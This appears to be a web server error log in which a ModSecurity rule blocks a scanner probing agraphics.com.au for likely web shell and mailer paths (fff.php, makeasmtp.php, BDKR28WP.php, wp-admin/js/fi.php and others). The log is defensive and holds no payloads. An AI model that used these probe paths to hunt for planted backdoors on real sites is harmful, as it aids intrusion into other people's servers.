[Sun Apr 26 01:37:22.274923 2026] [:error] [pid 59896:tid 59921] [client 20.199.101.230:17555] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aez70rLLzhtkd-OXUgBXVAAAAFU"]
[Sun Apr 26 01:37:22.884857 2026] [:error] [pid 59896:tid 59920] [client 20.199.101.230:34971] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aez70rLLzhtkd-OXUgBXVgAAAFQ"]
[Sun Apr 26 01:37:23.686896 2026] [:error] [pid 59985:tid 59998] [client 20.199.101.230:40033] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aez70wF_zDvEhKvyTH4AQwAAAAs"]
[Sun Apr 26 01:37:24.443137 2026] [:error] [pid 59985:tid 60005] [client 20.199.101.230:59098] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aez71AF_zDvEhKvyTH4ASQAAABI"]
[Sun Apr 26 01:37:25.099365 2026] [:error] [pid 3212:tid 3231] [client 20.199.101.230:40049] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aez71fg-28TY8_YLtUe_1AAAARE"]
[Sun Apr 26 01:37:25.762064 2026] [:error] [pid 59896:tid 59912] [client 20.199.101.230:59894] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aez71bLLzhtkd-OXUgBXaQAAAEw"]
[Sun Apr 26 01:37:26.360818 2026] [:error] [pid 3212:tid 3238] [client 20.199.101.230:16012] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aez71vg-28TY8_YLtUe_4wAAARg"]
[Sun Apr 26 01:37:26.955519 2026] [:error] [pid 3212:tid 3214] [client 20.199.101.230:2975] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aez71vg-28TY8_YLtUe_7AAAAQA"]
[Sun Apr 26 01:37:27.695606 2026] [:error] [pid 59985:tid 60004] [client 20.199.101.230:40009] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aez71wF_zDvEhKvyTH4AUwAAABE"]
[Sun Apr 26 01:37:28.297763 2026] [:error] [pid 3212:tid 3231] [client 20.199.101.230:40045] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aez72Pg-28TY8_YLtUe_9QAAARE"]
[Sun Apr 26 01:37:29.084315 2026] [:error] [pid 59985:tid 60011] [client 20.199.101.230:49666] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aez72QF_zDvEhKvyTH4AXAAAABg"]
[Sun Apr 26 01:37:29.720145 2026] [:error] [pid 59898:tid 59957] [client 20.199.101.230:59122] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aez72R-4vImxb0kbdzfemQAAAMM"]
[Sun Apr 26 01:37:30.395359 2026] [:error] [pid 59896:tid 59904] [client 20.199.101.230:49711] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aez72rLLzhtkd-OXUgBXegAAAEQ"]
[Sun Apr 26 01:37:31.034330 2026] [:error] [pid 59985:tid 59995] [client 20.199.101.230:59097] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aez72wF_zDvEhKvyTH4AZwAAAAg"]
[Sun Apr 26 01:37:31.571231 2026] [:error] [pid 3212:tid 3238] [client 20.199.101.230:49668] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aez72_g-28TY8_YLtUfAAQAAARg"]
[Sun Apr 26 01:37:32.081158 2026] [:error] [pid 59897:tid 59948] [client 20.199.101.230:49725] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aez73PBrrkdzpEbmK4fB-gAAAJU"]
[Sun Apr 26 01:37:32.669016 2026] [:error] [pid 59896:tid 59913] [client 20.199.101.230:53354] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aez73LLLzhtkd-OXUgBXhwAAAE0"]
[Sun Apr 26 01:37:33.274695 2026] [:error] [pid 3212:tid 3222] [client 20.199.101.230:2964] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aez73fg-28TY8_YLtUfABgAAAQg"]
[Sun Apr 26 01:37:33.922653 2026] [:error] [pid 3212:tid 3226] [client 20.199.101.230:40017] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aez73fg-28TY8_YLtUfACAAAAQw"]
[Sun Apr 26 01:37:34.550153 2026] [:error] [pid 3212:tid 3229] [client 20.199.101.230:48906] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aez73vg-28TY8_YLtUfADAAAAQ8"]
[Sun Apr 26 01:37:35.226785 2026] [:error] [pid 3212:tid 3231] [client 20.199.101.230:53324] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aez73_g-28TY8_YLtUfAEgAAARE"]
[Sun Apr 26 01:37:36.221340 2026] [:error] [pid 59896:tid 59915] [client 20.199.101.230:59102] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aez74LLLzhtkd-OXUgBXkQAAAE8"]
[Sun Apr 26 01:37:36.802187 2026] [:error] [pid 59898:tid 59977] [client 20.199.101.230:52658] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aez74B-4vImxb0kbdzfenAAAANc"]
[Sun Apr 26 01:37:37.422626 2026] [:error] [pid 3212:tid 3227] [client 20.199.101.230:34947] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aez74fg-28TY8_YLtUfAFwAAAQ0"]
[Sun Apr 26 01:37:38.148278 2026] [:error] [pid 59897:tid 59944] [client 20.199.101.230:16004] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aez74vBrrkdzpEbmK4fCAQAAAJE"]
[Sun Apr 26 01:37:38.792350 2026] [:error] [pid 3212:tid 3221] [client 20.199.101.230:49690] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aez74vg-28TY8_YLtUfAGQAAAQc"]
[Sun Apr 26 01:37:39.449329 2026] [:error] [pid 3212:tid 3226] [client 20.199.101.230:17569] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aez74_g-28TY8_YLtUfAHQAAAQw"]
[Sun Apr 26 01:37:40.103967 2026] [:error] [pid 3212:tid 3234] [client 20.199.101.230:59094] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aez75Pg-28TY8_YLtUfAHgAAARQ"]
[Sun Apr 26 01:37:40.831139 2026] [:error] [pid 59896:tid 59910] [client 20.199.101.230:52640] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aez75LLLzhtkd-OXUgBXmwAAAEo"]
[Sun Apr 26 01:37:41.521605 2026] [:error] [pid 3212:tid 3222] [client 20.199.101.230:59858] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/"] [unique_id "aez75fg-28TY8_YLtUfAJgAAAQg"]
[Sun Apr 26 01:37:42.173818 2026] [:error] [pid 3212:tid 3230] [client 20.199.101.230:56261] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/"] [unique_id "aez75vg-28TY8_YLtUfAKgAAARA"]
[Sun Apr 26 01:37:42.839141 2026] [:error] [pid 3212:tid 3236] [client 20.199.101.230:59118] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/"] [unique_id "aez75vg-28TY8_YLtUfAKwAAARY"]
[Sun Apr 26 01:37:43.373050 2026] [:error] [pid 3212:tid 3223] [client 20.199.101.230:2594] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/"] [unique_id "aez75_g-28TY8_YLtUfALQAAAQk"]
[Sun Apr 26 01:37:43.918860 2026] [:error] [pid 59897:tid 59927] [client 20.199.101.230:59872] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aez75_BrrkdzpEbmK4fCBAAAAIA"]
[Sun Apr 26 01:37:44.494854 2026] [:error] [pid 59897:tid 59933] [client 20.199.101.230:16014] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aez76PBrrkdzpEbmK4fCBQAAAIY"]
[Sun Apr 26 01:37:45.082743 2026] [:error] [pid 59898:tid 59975] [client 20.199.101.230:34986] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aez76R-4vImxb0kbdzfenwAAANU"]
[Sun Apr 26 01:37:45.642617 2026] [:error] [pid 3212:tid 3234] [client 20.199.101.230:40001] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aez76fg-28TY8_YLtUfANQAAARQ"]
[Sun Apr 26 01:37:46.181090 2026] [:error] [pid 3212:tid 3238] [client 20.199.101.230:59079] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aez76vg-28TY8_YLtUfAOAAAARg"]
[Sun Apr 26 01:37:46.733177 2026] [:error] [pid 59898:tid 59969] [client 20.199.101.230:52634] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aez76h-4vImxb0kbdzfeoQAAAM8"]
[Sun Apr 26 01:37:47.444782 2026] [:error] [pid 59898:tid 59955] [client 20.199.101.230:59848] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aez76x-4vImxb0kbdzfepAAAAME"]
[Sun Apr 26 01:37:47.973869 2026] [:error] [pid 59897:tid 59945] [client 20.199.101.230:49701] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aez76_BrrkdzpEbmK4fCDAAAAJI"]
[Sun Apr 26 01:37:48.665075 2026] [:error] [pid 59897:tid 59932] [client 20.199.101.230:55091] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aez77PBrrkdzpEbmK4fCDQAAAIU"]
[Sun Apr 26 01:37:49.195820 2026] [:error] [pid 59985:tid 59988] [client 20.199.101.230:52620] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aez77QF_zDvEhKvyTH4AegAAAAE"]
[Sun Apr 26 01:37:49.767889 2026] [:error] [pid 59897:tid 59951] [client 20.199.101.230:59866] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aez77fBrrkdzpEbmK4fCEQAAAJg"]
[Sun Apr 26 01:37:50.384601 2026] [:error] [pid 59898:tid 59956] [client 20.199.101.230:9388] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aez77h-4vImxb0kbdzfergAAAMI"]
[Sun Apr 26 01:37:50.991730 2026] [:error] [pid 59896:tid 59903] [client 20.199.101.230:59871] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aez77rLLzhtkd-OXUgBXpgAAAEM"]
[Sun Apr 26 01:37:51.538879 2026] [:error] [pid 59898:tid 59955] [client 20.199.101.230:56278] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aez77x-4vImxb0kbdzfeswAAAME"]
[Sun Apr 26 01:37:52.050290 2026] [:error] [pid 59898:tid 59976] [client 20.199.101.230:34950] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aez78B-4vImxb0kbdzfetwAAANY"]
[Sun Apr 26 01:37:52.589017 2026] [:error] [pid 3212:tid 3230] [client 20.199.101.230:16019] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aez78Pg-28TY8_YLtUfAQgAAARA"]
[Sun Apr 26 01:37:53.361590 2026] [:error] [pid 59896:tid 59908] [client 20.199.101.230:53320] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aez78bLLzhtkd-OXUgBXqgAAAEg"]
[Sun Apr 26 01:37:54.088610 2026] [:error] [pid 3212:tid 3222] [client 20.199.101.230:49678] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aez78vg-28TY8_YLtUfASQAAAQg"]
[Sun Apr 26 01:37:54.725115 2026] [:error] [pid 3212:tid 3231] [client 20.199.101.230:9398] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aez78vg-28TY8_YLtUfATgAAARE"]
[Sun Apr 26 01:37:55.290420 2026] [:error] [pid 59898:tid 59968] [client 20.199.101.230:52662] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aez78x-4vImxb0kbdzfevQAAAM4"]
[Sun Apr 26 01:37:55.846415 2026] [:error] [pid 59898:tid 59960] [client 20.199.101.230:29844] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aez78x-4vImxb0kbdzfevgAAAMY"]
[Sun Apr 26 01:37:56.466404 2026] [:error] [pid 3212:tid 3230] [client 20.199.101.230:59099] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aez79Pg-28TY8_YLtUfAUQAAARA"]
[Sun Apr 26 01:37:57.178711 2026] [:error] [pid 59898:tid 59965] [client 20.199.101.230:9388] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aez79R-4vImxb0kbdzfexAAAAMs"]
